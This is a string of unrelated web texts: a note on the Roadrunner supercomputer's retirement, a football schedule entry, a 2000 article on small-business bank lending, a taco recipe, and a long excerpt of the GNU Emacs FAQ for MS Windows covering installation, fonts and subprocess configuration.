"Roadrunner exemplified stockpile stewardship: an excellent team integrating complex codes with advanced computing architectures to ensure a safe, secure and effective deterrent," said Chris Deeney, NNSA Assistant Deputy Administrator for Stockpile Stewardship. "Roadrunner and its successes have positioned us well to weather the technology changes on the HPC horizon as we implement stockpile modernization without recourse to underground testing."
Roadrunner uses a hybrid design with 6563 dual-core general-purpose AMD Opteron processors. Each of those processors was linked to a PowerXCell 8i processor, an enhanced version of the chip designed for the Sony PlayStation 3.
One reason that the supercomputer is being decommissioned has to do with the incredible amount of power it utilizes to achieve its impressive performance. While Roadrunner is now sitting around the 20th place on the list of the world's most powerful computers, modern computers use significantly less power for significantly more performance.
IBM had previously predicted supercomputers would reach the 20 petaflop range by 2012.
Source: LANL
Comments Threshold
RE: Just a question...
By alpha754293 on 4/1/2013 1:43:18 PM , Rating: 3
The Opterons were just (mostly) I/O processors while the Power processors did all the heavy lifting.
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10/13 vs.WAS. 7:30 (Ch. 5): This will be the Cowboys’ first meeting with their NFC East rival since their loss to the Redskins in the season finale that decided the division winner last December. In 2012, the Cowboys dropped both games to Washington for the first time since 2005. The Cowboys need to prove they can beat a Redskins bunch led by Robert Griffin III. W (3-3)
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From the July 2000 issue of Entrepreneur
If you still haven't formed a relationship with your very own friendly neighborhood banker, then you'd better run--not walk--to that bank and make yourself known. Otherwise, you could really be missing out: When it comes time to get that important loan, a friendly working relationship with your banker may be your biggest advantage.
That's the word from Jere Glover, chief counsel for the SBA's Office of Advocacy, who shared with us results from the office's "Micro-Business-Friendly Banks in the United States 1999 Edition" report. The thing that stands out most about this sixth annual survey of loans of $100,000 or less, says Glover, is that although business lending as a whole has continued an upward climb, the rate of actual dollar amount lent to entrepreneurs has slowed. "This is not [as bad as it seems] for business," he says, "because we've had rather robust growth through the years [3, 4 and 5 percent]. But now, [with this year's 2.5 percent increase], it's not growing as fast."
Also, the survey's data doesn't indicate how many companies actually tried to get microloans. Consequently, Glover says it's difficult to determine if this decrease portends a looming credit crunch.
On the positive side, the number of banks lending across state lines in 1999 increased over 1998. Glover attributes that growth in part to aggressive marketing campaigns by big institutions like Wells Fargo, the bank- merger phenomenon and the growth in online lending.
But there's a darker side beyond the silver lining, because these out-of-state institutions tend to make credit-card or credit-scored loans in the $7,000 to $20,000 range, but keep in mind, these loans typically carry a higher price tag. Says Glover, "[These banks] are making lending decisions based on a fairly limited bit of information (your credit history), which means that if business owners aren't very careful to make sure their credit histories are good, they're going to be squeezed out of this market into a 'no bank's land.'"
This is exactly the kind of situation where it pays to have a relationship with your community banker, says Glover. These institutions weigh more factors when making lending decisions, which bodes better for the average borrower.
The bottom line: The lending landscape hasn't changed much for entrepreneurs. If you've got good credit and don't want a lot of money, loans are easier to obtain. However, if your credit has blemishes, it's going to take some careful digging and evaluating to find the cash you need, and it sure doesn't hurt to be on a first-name basis with your local banker. So check out the top-rated microlenders that follow. Even if they aren't located in a community near you, it might still pay to give them a try.
Making The Cut
8 easy ways to find out if that bank is right for you.
By Wallace Weeks
If there's a list out there of entrepreneurial frustrations, selecting the right bank is somewhere near the top. For good reason, too: Not all banks make it a point to reach out to small businesses. So where do you look, and what do you look for? Try these eight secrets to success:
1. Meet the commercial lenders or relationship managers you might be working with. Large banks are often divided into two sectors: commercial banking and retail banking. Retail banking usually focuses on personal accounts. Commercial banking is often segmented into three parts: small business (less than $3 million in sales), midmarket ($3 million to $20 million in sales) and large business (more than $20 million in sales). Occasionally, large banks will attach their small-business lending unit to the retail banking division. The point? Find out which bank department best fits your company's needs. Then you're ready to meet with the right people.
2. Find out if the bank classifies your industry as undesirable. This isn't common knowledge among a bank's staff. You'll have to get it directly from the small-business banker. He or she may feel uncomfortable with the subject matter, so make it easy by saying something like, "In your bank's loan policy manual, in the section titled 'Undesirable Loans,' is my industry listed?"
3. The bank must understand your industry--no exceptions. Every industry has certain characteristics not commonly understood. When bankers don't understand how an industry operates, they don't understand how they'll be repaid. And when bankers don't understand how they'll be repaid, they decline loan requests.
4. Make sure the bank is small enough. Only then will a banker take time to spell out the requirements. You should be able to ask questions--and get answers--about loan-to-cost, cash-coverage ratios, how they calculate the debt-to-income ratio of entrepreneurs and more.
5. Determine if the bank is large enough to accommodate your needs. Every bank has a legal lending limit based on its equity. So a bank with less than $100 million in assets may not be able to accommodate a small manufacturer with $5 million to $10 million in sales.
6. Make sure loan requests for your business are underwritten locally. Here's why: Let's say a business in Jacksonville, Florida, delivers its loan application to the local branch. Several days later, it receives a letter of decline in the mail. When the business owner later questions the branch manager, he or she learns that all small-business loans are actually processed in Tampa, Florida, and that there's no one there to answer questions.
7. The bank must be looking for smaller customers. These days, a growing number of niche banks aim to deal exclusively with small businesses. It also helps to ask around and find out which banks other entrepreneurs are using.
8. Start with the bank that handles your deposits. But if it turns out not to be friendly to your business's needs, it's time to move on to one that is.
Wallace Weeks is founder and president of The Weeks Group Inc., a small-business strategy consulting firm in Melbourne, Florida..
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Tacos, Enchiladas, Tamales, Tostadas
Farmers Market Mushroom Tacos | Print |
(13 votes, average 2.92 out of 5)
Serves 4
• 2 tablespoons safflower or expeller pressed canola oil
• 1 pound cleaned, chopped mushrooms, such as a combination of stemmed shiitake, oyster and cremini
• 1 pouch (8 ounces) Frontera Chipotle Garlic Taco Skillet Sauce
• Chopped fresh cilantro for garnish
• 8 to 12 warm corn or small flour tortillas
1. Heat 1 tablespoon of the oil in 12-inch nonstick skillet over very high heat. Add half of the mushrooms. Cook without stirring, until nicely browned, 2 to 3 minutes. Stir and then remove to a plate. Add the remaining tablespoon of oil to the pan and cook the remaining mushrooms.
2. Return all mushrooms to skillet. Stir well and cook 1 minute. Add the sauce and stir to coat mushrooms.
3. Sprinkle with cilantro. Serve in warm tortillas for making soft tacos.
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GNU Emacs FAQ for MS Windows
This is the FAQ for using GNU Emacs on MS Windows, as distributed with Emacs 24.4.
This FAQ is maintained by the developers and users of Emacs on MS Windows. If you find any errors, or have any suggestions, please send them to the help-emacs-windows mailing list.
At time of writing, the latest version of GNU Emacs is version 24.4.
Copyright © 2008, 2010-2014 Free Software Foundation, Inc.
This list of frequently asked questions about GNU Emacs on MS Windows with answers (“FAQ”) may be translated into other languages, transformed into other formats (e.g. Texinfo, Info, WWW), and updated with new information.
Table of Contents
Getting Emacs
Installing Emacs
Display Settings
Fonts and text translation
Network access
Text and Utility modes
Developing with Emacs
Other useful ports
Further information
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1 Introduction
This FAQ covers questions that are specific to running GNU Emacs on Windows. For more general information, see the other Emacs manuals. See Further information.
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1.1 Why support GNU Emacs on Windows?
It is not our goal to “help Windows users” by making text editing on Windows more convenient. We aim to replace proprietary software, not to enhance it. So why support GNU Emacs on Windows?
We hope that the experience of using GNU Emacs on Windows will give programmers a taste of freedom, and that this will later inspire them to move to a free operating system such as GNU/Linux. That is the main valid reason to support free applications on nonfree operating systems.
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1.2 Which versions of Windows are supported?
Emacs 24.4 is known to run on all versions of Windows from Windows 98 and Windows NT 4.0 through to Windows 7. The Windows port is built using the Win32 API and supports most features of the X version, including variable width fonts, images and tooltips.
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1.3 What other versions of Emacs run on Windows?
See Cygwin.
Emacs can also be compiled for MSDOS. When run on recent MS Windows, it supports long file names, and uses the Windows clipboard. See the msdos directory in the Emacs sources for building instructions (requires DJGPP).
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2 Getting Emacs
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2.1 Where can I download Emacs?
Pre-compiled versions are distributed from mirrors. Emacs binaries are distributed as zip files, digitally signed by the developer who built them. Generally most users will want the file, which contains everything you need to get started.
The latest source is available from mirrors. It is distributed as a compressed tar file, digitally signed by the maintainer who made the release.
The development version of Emacs is available from Savannah, the GNU development site.
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2.2 How can I compile Emacs myself?
To compile Emacs on Windows, you will need the MingW or Cygwin port of GCC with MingW make, or a Microsoft C compiler with nmake and the single threaded C runtime library. Recent versions of Microsoft Visual Studio no longer come with the single threaded C runtime library, which is required for certain POSIX compatibility, so MingW is usually the best choice. Image support requires external libraries, the headers and import libraries for which will need to be installed where your compiler can find them. You will also need ports of GNU rm and cp, as the Windows native equivalents are not consistent between versions. GNU texinfo will be required to build the manuals. See Other useful ports.
After unpacking the source, or checking out of Bzr, be sure to read the instructions in nt/README and nt/INSTALL.
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2.3 How do I use a debugger on Emacs?
By default, Emacs is compiled with debugging on, and optimizations enabled. The optimizations may interfere with some types of debugging; the debugger may not show clearly where it is, or may not be able to inspect certain variables. If this is the case, reconfigure with --no-opt.
The file etc/DEBUG contains general debugging hints, as well as specific notes about debugging Emacs with both gdb and Microsoft debuggers.
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2.3.1 GDB
GDB is the GNU debugger, which can be used to debug Emacs when it has been compiled with GCC. The best results will be obtained if you start gdb from the src directory as ‘gdb oo/i386/emacs.exe’. This will load the init file .gdbinit in that directory, to define some extra commands for working with lisp while debugging, and set up breakpoints to catch abnormal aborts.
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2.3.2 Microsoft Developer Studio
MS DevStudio can be used to debug Emacs when it has been compiled with a Microsoft compiler. To view lisp variables, you can call the function debug_print from the Quickwatch window. Some old tips are probably still valid.
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3 Installing Emacs
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3.1 How do I unpack the distributions?
The binary distributions are distributed as zip files, which are handled natively by Windows XP and later. For earlier versions, there are many tools that can handle the zip format, from InfoZip's command line unzip tool, to 7zip's multi-format graphical archive explorer. Although popular, WinZip has caused problems with line-ends in the past, and is not Free software, so we do not recommend it.
Source distributions are distributed as gzipped tar files. 7zip and similar multi-format graphical tools can handle these, or you can get Windows ports of the command line gzip and tar tools from multiple sources. See Other useful ports.
The command to unpack a source distribution from the command line is:
tar xzf emacs-24.4.tar.gz
If this does not work with the versions of tar and gzip that you have, you may need to try a two step process:
gzip -dc emacs-24.4.tar.gz | tar xvf -
You may see many messages from tar complaining about being unable to change the modification time on directories, and from gzip complaining about a broken pipe. These messages are usually harmless, caused by incomplete ports that are not fully aware of the limitations of Windows.
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3.2 How do I install Emacs after unpacking?
You can run Emacs without any extra steps, but if you want icons in your Start Menu, or for Emacs to detect the image libraries that are already installed on your system as part of GTK, then you should run the program emacs-24.4\bin\addpm.exe.
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3.3 How do I get image support?
Emacs has built in support for XBM and PBM/PGM/PPM images. This is sufficient to see the monochrome splash screen and tool-bar icons. Since 22.2, the official precompiled binaries for Windows have bundled libXpm, which is required to display the color versions of those images.
Emacs is compiled to recognize JPEG, PNG, GIF and TIFF images also, but displaying these image types require external DLLs which are not bundled with Emacs. See Other useful ports.
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3.4 What is my init file?
When Emacs starts up, it attempts to load and execute the contents of a file commonly called .emacs (though it may have other names, see Where do I put my init file?) which contains any customizations you have made. You can manually add lisp code to your .emacs, or you can use the Customization interface accessible from the Options menu. If the file does not exist, Emacs will start with the default settings.
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3.5 Where do I put my init file?
On Windows, the .emacs file may be called _emacs for backward compatibility with DOS and FAT filesystems where filenames could not start with a dot. Some users prefer to continue using such a name, because Explorer cannot create a file with a name starting with a dot, even though the filesystem and most other programs can handle it. In Emacs 22 and later, the init file may also be called .emacs.d/init.el. Many of the other files that are created by lisp packages are now stored in the .emacs.d directory too, so this keeps all your Emacs related files in one place.
All the files mentioned above should go in your HOME directory. The HOME directory is determined by following the steps below:
1. If the environment variable HOME is set, use the directory it indicates.
2. If the registry entry HKCU\SOFTWARE\GNU\Emacs\HOME is set, use the directory it indicates.
3. If the registry entry HKLM\SOFTWARE\GNU\Emacs\HOME is set, use the directory it indicates. Not recommended, as it results in users sharing the same HOME directory.
4. If C:\.emacs exists, then use C:/. This is for backward compatibility, as previous versions defaulted to C:/ if HOME was not set.
5. Use the user's AppData directory, usually a directory called Application Data under the user's profile directory, the location of which varies according to Windows version and whether the computer is part of a domain.
Within Emacs, <~> at the beginning of a file name is expanded to your HOME directory, so you can always find your .emacs file with C-x C-f ~/.emacs.
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3.6 Troubleshooting init file problems
If you've set HOME to a directory using one of the above methods, and Emacs still doesn't load your init file, the first thing you should do is check to see what Emacs thinks HOME is set to. You can do this by evaluating the following expression in the *scratch* buffer using C-x C-e:
(insert (getenv "HOME"))
Look carefully at what is printed and make sure the value is valid. For example, if the value has trailing whitespace, Emacs won't be able to find the directory. Also, be sure that the value isn't a relative drive letter (e.g., d: without a backslash); if it is, then HOME is going to be whatever the current directory on that drive is, which is likely not what you want to happen.
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3.7 How do I associate files with Emacs?
The recommended way to associate files is to associate them with emacsclientw.exe. In order for this to work when Emacs is not yet started, you will also need to set the environment variable ALTERNATE_EDITOR to runemacs.exe. To open files in a running instance of Emacs, you will need to add the following to your init file:
Up: Associate files with Emacs
3.7.1 For use with Internet Explorer
You can use Emacs as the editor for composing mail for <mailto:> links, reading usenet for <news:> links, and viewing source. The following registry entries control this:
Thanks to Jason Rumney and Sigbjorn Finne for these tips.
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3.8 How do I use find-file to open files that are on the Desktop?
The location of the Desktop varies between different versions of Windows, and in a corporate environment can be moved around by the network administrator. On NT derivatives, you can use the value of the USERPROFILE environment variable to find where the desktop might be:
C-x C-f $USERPROFILE/Desktop
If this doesn't work, then you probably have to forgo the keyboard just this once, and either drag a file onto the Emacs frame from the desktop, or use the file dialog (displayed when you use the toolbar or menu by default). Once you have a file from the Desktop inside Emacs, C-x C-f will quickly reveal where your desktop is kept.
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3.9 How can I modify Windows to act more like X?
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3.9.1 How do it make the active window follow the mouse?
Customize the variables focus-follows-mouse and mouse-autoselect-window. The former can be used to mislead Emacs into giving focus to other frames when the mouse is over them, even though Windows has a click to focus policy by default (there is software available to change that though). The latter can be used to make Emacs use a focus-follow-mouse policy within its own frames.
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3.9.2 How do I swap CapsLock and Control?
This cannot be done within Emacs, but you can modify the scan code mappings in the registry or define a new keyboard layout to swap the keys on a system wide basis.
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Previous: Swap Caps NT, Up: Swap CapsLock and Control Windows 95/98/ME
Microsoft has a tool called keyremap that is part of their Kernel Toys add ons for Windows 95. The tool has also been confirmed to work on Windows 98.
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3.10 How can I modify Emacs to act more like a Windows app?
Many beginning users find Emacs difficult to use because its user interface is different in many ways. Emacs predates most UI standards, and experienced Emacs users are used to the way things are, so changing the defaults is difficult. Most of the “standard” behavior can be approximated in Emacs after some configuring though.
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3.10.1 Highlighting the selection
Emacs has a concept of a mark and point that is similar to selections in other programs. But the mark in Emacs is used for more than just defining the selected region, it lives on while you continue to edit and move around the buffer so it can also be a kind of bookmark. The history of marks is saved so you can pop previous marks back to the top of the stack to go back to somewhere you were some time ago. Because of this dual purpose, the region between mark and point is not highlighted by default unless you select a region by clicking and dragging the mouse.
The minor mode transient-mark-mode changes the behavior of the mark in two ways. First, it distinguishes between an active mark that has just been defined or reactivated, and an inactive mark. When the mark is active, some commands that normally act on lines, words, buffers etc. will instead act on the region. An inactive mark needs to be reactivated to operate on it, unless mark-even-if-inactive is set. Secondly, transient-mark-mode also highlights the region when it is active, providing the same visual clue that you get in other programs.
In addition to seeing the highlighting, new Emacs users often expect editing commands to replace the region when it is active. This behavior can be obtained with delete-selection-mode, but see the following question also.
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3.10.2 Standard Windows key bindings
The keybindings of Emacs predate modern GUIs, and the keys that were chosen by later GUIs for cut and copy were given important functions as extended keymaps in Emacs. CUA mode attempts to let both bindings co-exist by defining C-x and C-c as kill-region and copy-region-as-kill when the region is active, and letting them have their normal Emacs bindings when the region is not active. Many people find this to be an acceptable compromise. CUA mode also defines a number of other keys (C-v, Shift selection), and can be turned on from the Options menu.
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3.11 Window operations
The function w32-send-sys-command can be used to simulate choosing commands from the system menu (in the top left corner of the Window) and a few other system wide functions. It takes an integer argument, the value of which should be a valid WM_SYSCOMMAND message as documented in Microsoft's API documentation.
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3.12 How do I uninstall Emacs?
Emacs does not come with an uninstall program. No files are installed outside of the Emacs base directory, so deleting that directory is sufficient to clean away the files. If you ran addpm, you'll need to delete the Start Menu group too. The registry entries inserted by addpm will not cause any problems if you leave them there, but for the sake of completeness, you can use regedit to remove the keys under HKEY_LOCAL_MACHINE orx HKEY_CURRENT_USER: SOFTWARE\GNU\Emacs, and the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\emacs.exe if it exists.
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3.13 When I run Emacs nothing happens
Emacs could have failed to run for a number of reasons. The most common symptom is that, when Emacs is started, the cursor changes for a second but nothing happens. If this happens to you, it is quite likely that the distribution was unpacked incorrectly.
Check for the following to see if there was a problem during unpacking:
1. Be sure to disable the CR/LF translation or the executables will be unusable. Older versions of WinZipNT would enable this translation by default. If you are using WinZipNT, disable it.
2. Check that filenames were not truncated to 8.3. For example, there should be a file CONTRIBUTE in the top level directory; if this has been truncated to CONTRIBU or CONTRI~1, your distribution has been corrupted while unpacking and Emacs will not start.
If it is still not working, send mail to the list, describing what you've done, and what you are seeing. (The more information you send the more likely it is that you'll receive a helpful response..
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3.14 Does Emacs contain a virus?
There have been reports in the past that some virus scanners claim that the Emacs distribution has a virus. This is extremely unlikely if you have downloaded Emacs from the GNU FTP site or one of its mirrors and the GPG signature for it is valid and listed in the GNU keyring, unless perhaps it is a new release made in the last few days, in which case you should exercise more caution and report the problem. Past problems seem to have been caused by virus checkers running into a buffer size limit when unpacking large tar.gz files for scanning, and reporting the failure as an “unknown virus”.
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3.15 What known problems are there with anti-virus software?
Anti-virus and firewall software can block Emacs from starting subprocesses and opening network connections. Most such products have an Advanced mode where they will prompt you rather than silently blocking. In some cases the “scan all files” or “auto protect” option of anti-virus programs has caused failures running shell related commands within Emacs. See Why is nothing happening when I enter shell commands?.
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4 Display Settings
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4.1 Emacs in console mode goes beyond the window size
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4.2 What do I do if I have problems with my mouse buttons?
Emacs assigns bindings assuming a three button mouse. On Windows, if a two button mouse is detected, a hack is enabled which lets you simulate the third button by pressing both mouse buttons simultaneously. w32-mouse-button-tolerance defines the timeout for what is considered “simultaneous”. You can check how many buttons Emacs thinks your mouse has with C-h v w32-num-mouse-buttons.
If you find yourself needing the mouse-3 bindings more often than mouse-2, you can swap the buttons with the following code in your init file:
(setq w32-swap-mouse-buttons t)
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4.3 How do I cut and paste text with NUL characters?
If you attempt to cut and paste text with NUL characters embedded in it, then the text will be truncated at the first NUL character. This is a limitation of the Windows clipboard, and does not affect killing and yanking from the kill-ring within Emacs.
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4.4 How can I fix garbled text yanked from the clipboard?
You can try set-selection-coding-system, but generally such corruption is a thing of the past, as Emacs uses Unicode for the clipboard by default now.
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4.5 How do I change the sound of the Emacs beep?
You can use the function set-message-beep to change the sound that Emacs uses for its beep. This affects both console and GUI frames. The doc string contains a list of the system sounds you can use.
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5 Fonts and text translation
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5.1 Font names
Fonts in Emacs 22 and earlier are named using the X Logical Font Description (XLFD) format. Emacs on Windows ignores many of the fields, and populates them with * when listing fonts. Former maintainer Andrew Innes wrote this explanation of what each field in the font string means and how Emacs treated them back in 19.34. Since then, multilingual support and a redisplay overhaul to support variable width fonts have changed things slightly; more character sets are recognized (and the old pseudo character sets are deprecated), and the resolution fields are used to calculate the difference between point and pixel sizes, but normally you should leave these at the system default. The foundry field is also populated with an indication of whether the font is outline (.TTF, .ATM) or raster (.FON) based when fonts are listed, which may let you differentiate between two fonts with the same name and different technologies.
From Emacs 23, the preferred font name format will be moving to the simpler and more flexible fontconfig format. XLFD names will continue to be supported for backward compatibility.
XLFD: -*-Courier New-normal-r-*-*-13-*-*-*-c-*-iso8859-1
Fontconfig: Courier New-13
To find the XFLD name for a font, you can execute the following in the *scratch* buffer by pressing C-j at the end of the line:
(w32-select-font nil t)
To see a complete list of fonts, execute the following in the *scratch* buffer by pressing C-x C-e at the end of the line:
The command line options and frame-parameters for changing the default font in Emacs are documented in the manual. Fonts can also be used when defining faces, though family and size are generally specified individually there. In addition, Emacs on Windows reads the registry to find X Resources. This is also documented in the manual.
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5.2 How can I get bold and italic fonts to work?
Emacs will only use the italic (and bold) versions of a font automatically if it has the same width as the normal version. Many fonts have italic and bold versions that are slightly wider. It will also only use real bold and italic fonts by default, where other applications may use synthesized variations that are derived from the normal font. To enable more italic and bold fonts to be displayed, you can enable synthesized fonts and manually set the font for italic, bold and bold-italic as follows:
(setq w32-enable-synthesized-fonts t)
(set-face-font 'italic "-*-Courier New-normal-i-*-*-11-*-*-*-c-*-iso8859-1")
(set-face-font 'bold-italic "-*-Courier New-bold-i-*-*-11-*-*-*-c-*-iso8859-1")
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5.3 Multilingual font support
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5.3.1 Is it possible to display all the supported languages?
To display all the languages that Emacs is capable of displaying, you will require the BDF fonts from the GNU intlfonts package. See How do I use bdf fonts with Emacs?.
For many languages, native truetype fonts are sufficient, and in Emacs 23 the need for BDF fonts will disappear for almost all languages. At the time of writing, some Arabic characters in the HELLO file still do not display with native fonts, because they are pre-composed characters from MULE character sets rather than standard Unicode Arabic, but all other characters are able to be displayed with appropriate truetype or opentype fonts.
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5.3.2 How do I get Emacs to display non-latin characters?
Recent versions of Emacs display a large range of characters out of the box, but if you are having problems with a particular character set which you know you have fonts for, you can try defining a new fontset with create-fontset-from-ascii-font or create-fontset-from-fontset-spec.
"-*-Courier New-normal-r-*-*-12-*-*-*-c-*-fontset-most,
latin-iso8859-2:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-2,
latin-iso8859-3:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-3,
latin-iso8859-4:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-4,
cyrillic-iso8859-5:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-5,
greek-iso8859-7:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-7,
latin-iso8859-9:-*-Courier New-normal-r-*-*-12-*-*-*-c-*-iso8859-9,
japanese-jisx0208:-*-MS Gothic-normal-r-*-*-12-*-*-*-c-*-jisx0208-sjis,
japanese-jisx0208-1978:-*-MS Gothic-normal-r-*-*-12-*-*-*-c-*-jisx0208-sjis,
chinese-gb2312:-*-MS Song-normal-r-*-*-12-*-*-*-c-*-gb2312-*,
chinese-big5-2:-*-MingLiU-normal-r-*-*-12-*-*-*-c-*-big5-*" t)
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5.3.3 Where can I find fonts for other languages?
In addition to the wide range of fonts that come with the language support packages of various components of Windows itself, GNU/Linux distributions these days come with a number of Free truetype fonts that cover a wide range of languages. The GNU intlfonts source distribution contains BDF fonts covering all of the languages that can be displayed by Emacs 22, and can be downloaded from mirrors.
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5.3.4 How do I use third party programs to display multibyte characters?
You probably only need to do this on the non-Unicode versions of Windows (95, 98 and ME), and even then, various Windows and Internet Explorer updates have made third party software unnecessary in most cases. If you are having trouble displaying text, try defining a fontset with the font for the languages that the third party software handles set to what that software expects (which may not be an appropriate font for that language, but the third party software is intercepting it and using a different font behind the scenes). See Non-latin display.
In addition to defining a fontset with the expected font, you may also need to disable unicode output with:
(setq w32-enable-unicode-output nil)
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5.3.5 Can I use a font with a name in my language?
Normally Emacs should initialize locale-coding-system appropriately based on your locale, which will let Emacs use font names in your local language successfully.
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5.4 How do I use bdf fonts with Emacs?
To use bdf fonts with Emacs, you need to tell Emacs where the fonts are located, create fontsets for them, and then use them. We'll use the 16 dot international fonts from as an example put together by Jason Rumney.
Download 16dots.tar.gz and unpack it; I'll assume that they are in c:\intlfonts. Then set w32-bdf-filename-alist to the list of fonts returned by using w32-find-bdf-fonts to enumerate all of the font files. It is a good idea to set the variable bdf-directory-list at the same time so ps-print knows where to find the fonts:
(setq bdf-directory-list
'("c:/intlfonts/Asian" "c:/intlfonts/Chinese"
"c:/intlfonts/Chinese-X" "c:/intlfonts/Ethiopic"
"c:/intlfonts/European" "c:/intlfonts/Japanese"
"c:/intlfonts/Japanese-X" "c:/intlfonts/Korean-X"
(setq w32-bdf-filename-alist (w32-find-bdf-fonts bdf-directory-list))
Then create fontsets for the BDF fonts:
Many of the international bdf fonts from are type 0, and therefore need to be added to font-encoding-alist:
;; Need to add some fonts to font-encoding-alist since the bdf fonts
;; are type 0 not the default type 1.
(setq font-encoding-alist
(append '(("MuleTibetan-0" (tibetan . 0))
("GB2312" (chinese-gb2312 . 0))
("JISX0208" (japanese-jisx0208 . 0))
("JISX0212" (japanese-jisx0212 . 0))
("VISCII" (vietnamese-viscii-lower . 0))
("KSC5601" (korean-ksc5601 . 0))
("MuleArabic-0" (arabic-digit . 0))
("MuleArabic-1" (arabic-1-column . 0))
("MuleArabic-2" (arabic-2-column . 0))) font-encoding-alist))
You can now use the Emacs font menu (see How can I have Emacs use a font menu like on X?) to select the bdf: 16-dot medium fontset, or you can select it by setting the default font:
(set-frame-font "fontset-bdf")
Try loading the file etc/HELLO, and you should be able to see the various international fonts displayed (except for Hindi, which is not included in the 16-dot font distribution).
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5.5 How can I have Emacs use a font menu like on X?
Place the following in your init file:
(setq w32-use-w32-font-dialog nil)
Up: Font menu
5.5.1 How can I add my font to the font menu?
If you have set w32-use-w32-font-dialog to nil, you can add fonts to the font menu by changing w32-fixed-font-alist. For example:
(setq w32-fixed-font-alist
(append w32-fixed-font-alist
("8" "-**-*-11-*-*-*-c-iso8859-1")
("9" "-**-*-12-*-*-*-c-iso8859-1")
("10" "-**-*-13-*-*-*-c-iso8859-1")
("11" "-**-*-15-*-*-*-c-iso8859-1")))))
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5.6 How can I control CR/LF translation?
There are a number of methods by which you can control automatic CR/LF translation in Emacs, a situation that reflects the fact that the default support was not very robust in the past. For a discussion of this issue, take a look at this collection of email messages on the topic.
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5.6.1 Automatic CR/LF translation
For existing files, Emacs scans the file to determine the line ending convention as part of the same scan it does to determine the file encoding. Embedded Ctrl-M (ASCII 13) characters and inconsistent line ends can confuse the automatic scanning, and Emacs will present the file in Unix (LF) mode with the Ctrl-M characters displayed as ‘^M’. It does this to be safe, as no data loss will occur if the file is really binary and the Ctrl-M characters are significant.
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5.6.2 CR/LF translation by file extension
The variable file-name-buffer-file-type-alist holds a list of filename patterns and their associated type; binary or text. Files marked as binary will not have line-end detection performed on them, and instead will always be displayed as is. With auto-detection in recent versions of Emacs, this is seldom useful for existing files, but can still be used to influence the choice of line ends for newly created files.
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5.6.3 CR/LF translation by file system
The variable untranslated-filesystem-list defines whole directory trees that should not have CR/LF autodetection performed on them. The list can be manipulated with the functions add-untranslated-filesystem and remove-untranslated-filesystem. With auto-detection in recent versions of Emacs, this is seldom useful for existing files, but can still be used to influence the choice of line ends for newly created files.
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6 Printing
A lot of effort has gone into making it easier to print from Emacs on MS Windows, but this has still been insufficient to keep up with changes in printing technology from text and postscript based printers connected via ports that can be accessed directly, to graphical printers that are only accessible via USB. For details, see Emacs Wiki.
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7 Subprocesses
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7.1 Quoting issues
The quoting rules for native Windows shells and Cygwin shells have some subtle differences. When Emacs spawns subprocesses, it tries to determine whether the process is a Cygwin program and changes its quoting mechanism appropriately. See this previous discussion for details.
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7.2 Programs reading input hang
Programs that explicitly use a handle to the console (CON or CON:) instead of stdin and stdout cannot be used as subprocesses to Emacs, and they will also not work in shell-mode. The default ftp client on Windows is an example of such a program - this ftp program is mostly fine for use with ange-ftp or tramp, but not for M-x ftp (see How do I use FTP within Emacs). There is no convenient way for either Emacs or any shell used in shell-mode to redirect the input and output of such processes from the console to input and output pipes. The only workaround is to use a different implementation of the program that does not use the console directly. Microsoft's new PowerShell appears to be another such program, so that cannot be used as a replacement shell for Emacs.
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7.3 Buffering in shells and subprocesses
You may notice that some programs, when run in a shell in shell-mode, have their output buffered (e.g., people have found this happening to them with sql-mode). When the program has a lot of output, it overflows the buffering and gets printed to the shell buffer; however, if the program only outputs a small amount of text, it will remain buffered and won't appear in the shell buffer. The same can happen in other subprocesses that themselves run other programs as subprocesses, for example when using cvs from Emacs, which is itself configured to use ssh, password prompts fail to appear when expected, and cvs appears to hang.
Although it may at first seem like the shell is buffering the output from the program, it is actually the program that is buffering output. The C runtime typically decides how to buffer output based upon whether stdout is bound to a handle to a console window or not. If bound to a console window, output is buffered line by line; if bound to a block device, such as a file, output is buffered block by block.
In a shell buffer, stdout is a pipe handle and so is buffered in blocks. If you would like the buffering behavior of your program to behave differently, the program itself is going to have to be changed; you can use setbuf and setvbuf to manipulate the buffering semantics.
Some programs handle this by having an explicit flag to control their buffering behavior, typically -i for interactive. Other programs manage to detect that they are running under Emacs, by using ‘getenv("emacs")’ internally.
Up: Subprocess buffering
7.3.1 Perl script buffering
A handy solution for Perl scripts to the above problem is to use:
# Turn all buffering off.
select((select(STDOUT), $| = 1)[0]);
select((select(STDERR), $| = 1)[0]);
select((select(STDIN), $| = 1)[0]);
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7.4 16-bit subprocesses accessing the floppy drive
If you are finding the 16 bit DOS subprocesses cause your A: drive to be accessed, hanging Emacs until the read times out if there is no floppy in the drive, check to see if your virus software is causing the problem.
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7.5 Killing subprocesses on Windows 95/98/Me
Emacs cannot guarantee that a subprocess gets killed on Windows 95 and its descendants, and it is a difficult limitation to work around. To avoid problems on these systems, you should let subprocesses run to completion including explicitly exiting shells before killing the associated buffer.
If you find that while shutting down, Windows complains that there is a running cmdproxy.exe even though you carefully exited all shells and none were showing in Task Manager before the shutdown, this could be due to buggy interaction with your virus scanner.
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7.6 Sending EOF to subprocesses
When an EOF is sent to a subprocess running in an interactive shell with process-send-eof, the shell terminates unexpectedly as if its input was closed. This affects the use of C-c C-d in shell buffers. See this discussion for more details.
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7.7 How do I use a shell in Emacs?
You can start an interactive shell in Emacs by typing M-x shell. Emacs uses the SHELL environment variable to determine which program to use as the shell. To instruct Emacs to use a non-default shell, you can either set this environment variable, or customize explicit-shell-file-name. You can also customize shell-file-name to change the shell that will be used by subprocesses that are started with shell-command and related non-interactive shell commands.
Up: Using shell
7.7.1 bash
Cygwin bash is a popular shell for use with Emacs. To use bash as the default shell in Emacs, you can place the following in your init file:
(defun my-shell-setup ()
"For Cygwin bash under Emacs 20"
(make-variable-buffer-local 'comint-completion-addsuffix))
(setq comint-completion-addsuffix t)
;; (setq comint-process-echoes t) ;; reported that this is no longer needed
(setq comint-eol-on-send t)
(add-hook 'shell-mode-hook 'my-shell-setup)
If you find that you are having trouble with Emacs tracking drive changes with bash, see Mike Fabian's note.
